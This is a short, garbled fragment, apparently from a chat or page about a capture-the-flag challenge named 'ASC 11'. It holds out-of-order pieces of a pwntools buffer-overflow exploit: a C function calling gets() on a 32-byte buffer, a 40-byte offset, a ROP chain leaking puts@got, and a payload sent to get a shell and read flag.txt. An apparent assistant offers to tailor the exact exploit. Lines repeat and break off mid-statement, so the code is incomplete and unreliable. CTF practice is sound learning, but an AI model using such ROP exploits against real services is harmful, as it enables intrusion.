Asc 11 May 2026

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload)

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge? asc 11

void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable payload = b'A'*offset + rop

p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main']) I can tailor the exact exploit